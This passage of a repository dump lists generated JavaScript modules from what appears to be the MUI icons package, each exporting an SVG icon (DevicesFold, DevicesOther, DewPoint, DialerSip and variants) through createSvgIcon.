  },
  {
    "path": "packages/mui-icons-material/lib/DevicesFoldRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-3c0-1.43-1.47-2.4-2.79-1.84l-3 1.29C10.48 2.76 10 3.49 10 4.29V19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-5.33l1.12-.48c.73-.32 1.21-1.04 1.21-1.84V5h3zM2 3h2v2H2zm0 16h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm4-4h2v2H6zm0 16h2v2H6z\"\n}), 'DevicesFoldRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesFoldRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-3c0-1.43-1.47-2.4-2.79-1.84l-3 1.29C10.48 2.76 10 3.49 10 4.29V19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-5.33l1.12-.48c.73-.32 1.21-1.04 1.21-1.84V5h3zM2 3h2v2H2zm0 16h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm4-4h2v2H6zm0 16h2v2H6z\"\n}), 'DevicesFoldRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesFoldSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3V-.03l-7 3V21h12V3zm3 16h-5.33L17 18V5h3zM2 3h2v2H2zm0 16h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm4-4h2v2H6zm0 16h2v2H6z\"\n}), 'DevicesFoldSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesFoldSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3V-.03l-7 3V21h12V3zm3 16h-5.33L17 18V5h3zM2 3h2v2H2zm0 16h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm4-4h2v2H6zm0 16h2v2H6z\"\n}), 'DevicesFoldSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesFoldTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 3-3 1.29v13.68l3-1.29z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3h-3c0-1.44-1.47-2.4-2.79-1.84l-3 1.29C10.48 2.76 10 3.49 10 4.29V19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 1.29L15 3v13.68l-3 1.29zM20 19h-5.33l1.12-.48c.73-.32 1.21-1.04 1.21-1.84V5h3zM2 3h2v2H2zm0 16h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm4-4h2v2H6zm0 16h2v2H6z\"\n}, \"1\")], 'DevicesFoldTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesFoldTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 3-3 1.29v13.68l3-1.29z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3h-3c0-1.44-1.47-2.4-2.79-1.84l-3 1.29C10.48 2.76 10 3.49 10 4.29V19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 1.29L15 3v13.68l-3 1.29zM20 19h-5.33l1.12-.48c.73-.32 1.21-1.04 1.21-1.84V5h3zM2 3h2v2H2zm0 16h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm0-4h2v2H2zm4-4h2v2H6zm0 16h2v2H6z\"\n}, \"1\")], 'DevicesFoldTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOther.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6h18V4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3zm10 6H9v1.78c-.61.55-1 1.33-1 2.22s.39 1.67 1 2.22V20h4v-1.78c.61-.55 1-1.34 1-2.22s-.39-1.67-1-2.22zm-2 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M22 8h-6c-.5 0-1 .5-1 1v10c0 .5.5 1 1 1h6c.5 0 1-.5 1-1V9c0-.5-.5-1-1-1m-1 10h-4v-8h4z\"\n}), 'DevicesOther');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOther.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6h18V4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3zm10 6H9v1.78c-.61.55-1 1.33-1 2.22s.39 1.67 1 2.22V20h4v-1.78c.61-.55 1-1.34 1-2.22s-.39-1.67-1-2.22zm-2 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M22 8h-6c-.5 0-1 .5-1 1v10c0 .5.5 1 1 1h6c.5 0 1-.5 1-1V9c0-.5-.5-1-1-1m-1 10h-4v-8h4z\"\n}), 'DevicesOther');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOtherOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6h18V4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3zm10 6H9v1.78c-.61.55-1 1.33-1 2.22s.39 1.67 1 2.22V20h4v-1.78c.61-.55 1-1.34 1-2.22s-.39-1.67-1-2.22zm-2 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M22 8h-6c-.5 0-1 .5-1 1v10c0 .5.5 1 1 1h6c.5 0 1-.5 1-1V9c0-.5-.5-1-1-1m-1 10h-4v-8h4z\"\n}), 'DevicesOtherOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOtherOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6h18V4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3zm10 6H9v1.78c-.61.55-1 1.33-1 2.22s.39 1.67 1 2.22V20h4v-1.78c.61-.55 1-1.34 1-2.22s-.39-1.67-1-2.22zm-2 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M22 8h-6c-.5 0-1 .5-1 1v10c0 .5.5 1 1 1h6c.5 0 1-.5 1-1V9c0-.5-.5-1-1-1m-1 10h-4v-8h4z\"\n}), 'DevicesOtherOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOtherRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7c0-.55.45-1 1-1h16c.55 0 1-.45 1-1s-.45-1-1-1H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1zm9 5h-2c-.55 0-1 .45-1 1v.78c-.61.55-1 1.33-1 2.22s.39 1.67 1 2.22V19c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-.78c.61-.55 1-1.34 1-2.22s-.39-1.67-1-2.22V13c0-.55-.45-1-1-1m-1 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M22 8h-6c-.5 0-1 .5-1 1v10c0 .5.5 1 1 1h6c.5 0 1-.5 1-1V9c0-.5-.5-1-1-1m-1 10h-4v-8h4z\"\n}), 'DevicesOtherRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOtherRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7c0-.55.45-1 1-1h16c.55 0 1-.45 1-1s-.45-1-1-1H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1zm9 5h-2c-.55 0-1 .45-1 1v.78c-.61.55-1 1.33-1 2.22s.39 1.67 1 2.22V19c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-.78c.61-.55 1-1.34 1-2.22s-.39-1.67-1-2.22V13c0-.55-.45-1-1-1m-1 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M22 8h-6c-.5 0-1 .5-1 1v10c0 .5.5 1 1 1h6c.5 0 1-.5 1-1V9c0-.5-.5-1-1-1m-1 10h-4v-8h4z\"\n}), 'DevicesOtherRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOtherSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6h18V4H1v16h6v-2H3zm10 6H9v1.78c-.61.55-1 1.33-1 2.22s.39 1.67 1 2.22V20h4v-1.78c.61-.55 1-1.34 1-2.22s-.39-1.67-1-2.22zm-2 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M23 8h-8v12h8zm-2 10h-4v-8h4z\"\n}), 'DevicesOtherSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOtherSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6h18V4H1v16h6v-2H3zm10 6H9v1.78c-.61.55-1 1.33-1 2.22s.39 1.67 1 2.22V20h4v-1.78c.61-.55 1-1.34 1-2.22s-.39-1.67-1-2.22zm-2 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M23 8h-8v12h8zm-2 10h-4v-8h4z\"\n}), 'DevicesOtherSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOtherTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10h4v8h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"16\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6h18V4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3zm19 2h-6c-.5 0-1 .5-1 1v10c0 .5.5 1 1 1h6c.5 0 1-.5 1-1V9c0-.5-.5-1-1-1m-1 10h-4v-8h4zm-8-6H9v1.78c-.61.55-1 1.33-1 2.22s.39 1.67 1 2.22V20h4v-1.78c.61-.55 1-1.34 1-2.22s-.39-1.67-1-2.22zm-2 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"2\")], 'DevicesOtherTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOtherTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10h4v8h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"16\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6h18V4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3zm19 2h-6c-.5 0-1 .5-1 1v10c0 .5.5 1 1 1h6c.5 0 1-.5 1-1V9c0-.5-.5-1-1-1m-1 10h-4v-8h4zm-8-6H9v1.78c-.61.55-1 1.33-1 2.22s.39 1.67 1 2.22V20h4v-1.78c.61-.55 1-1.34 1-2.22s-.39-1.67-1-2.22zm-2 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"2\")], 'DevicesOtherTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4zm19 2h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'DevicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4zm19 2h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'DevicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7c0-.55.45-1 1-1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v11h-.5c-.83 0-1.5.67-1.5 1.5S.67 20 1.5 20H14v-3H4zm19 1h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'DevicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7c0-.55.45-1 1-1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v11h-.5c-.83 0-1.5.67-1.5 1.5S.67 20 1.5 20H14v-3H4zm19 1h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'DevicesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h18V4H2v13H0v3h14v-3H4zm20 2h-8v12h8zm-2 9h-4v-7h4z\"\n}), 'DevicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h18V4H2v13H0v3h14v-3H4zm20 2h-8v12h8zm-2 9h-4v-7h4z\"\n}), 'DevicesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10h4v7h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 8h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4zM4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4z\"\n}, \"1\")], 'DevicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DevicesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10h4v7h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4zM4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4z\"\n}, \"1\")], 'DevicesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DewPoint.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13V5c0-1.66-1.34-3-3-3S6 3.34 6 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-2V5c0-.55.45-1 1-1s1 .45 1 1v1H9v1h1v2H9v1h1v1zm13-4.5c0-.84-1.5-2.5-1.5-2.5S18 5.66 18 6.5c0 .83.67 1.5 1.5 1.5S21 7.33 21 6.5m-4 3c0-.84-1.5-2.5-1.5-2.5S14 8.66 14 9.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5m4 3c0-.84-1.5-2.5-1.5-2.5S18 11.66 18 12.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5\"\n}), 'DewPoint');"
  },
  {
    "path": "packages/mui-icons-material/lib/DewPoint.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13V5c0-1.66-1.34-3-3-3S6 3.34 6 5v8c-1.21.91-2 2.37-2 4 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.09-2-4m-4-2V5c0-.55.45-1 1-1s1 .45 1 1v1H9v1h1v2H9v1h1v1zm13-4.5c0-.84-1.5-2.5-1.5-2.5S18 5.66 18 6.5c0 .83.67 1.5 1.5 1.5S21 7.33 21 6.5m-4 3c0-.84-1.5-2.5-1.5-2.5S14 8.66 14 9.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5m4 3c0-.84-1.5-2.5-1.5-2.5S18 11.66 18 12.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5\"\n}), 'DewPoint');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialerSip.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3h-1v5h1zm-2 2h-2V4h2V3h-3v3h2v1h-2v1h3zm3-2v5h1V6h2V3zm2 2h-1V4h1zm0 10.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.01.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.27-.26.35-.65.24-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1\"\n}), 'DialerSip');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialerSip.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3h-1v5h1zm-2 2h-2V4h2V3h-3v3h2v1h-2v1h3zm3-2v5h1V6h2V3zm2 2h-1V4h1zm0 10.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.01.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.27-.26.35-.65.24-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1\"\n}), 'DialerSip');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialerSipOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3h1v5h-1zm-1 2h-2V4h2V3h-3v3h2v1h-2v1h3zm3-2v5h1V6h2V3zm2 2h-1V4h1zm0 10.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.7.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.27-.26.35-.65.24-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.2-1.2c.85.24 1.71.39 2.59.45v1.5z\"\n}), 'DialerSipOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialerSipOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3h1v5h-1zm-1 2h-2V4h2V3h-3v3h2v1h-2v1h3zm3-2v5h1V6h2V3zm2 2h-1V4h1zm0 10.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.7.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.27-.26.35-.65.24-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.46 2.59L5.79 8.8c-.41-1.21-.67-2.48-.76-3.8M19 18.97c-1.32-.09-2.59-.35-3.8-.75l1.2-1.2c.85.24 1.71.39 2.59.45v1.5z\"\n}), 'DialerSipOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DialerSipRounded.js",
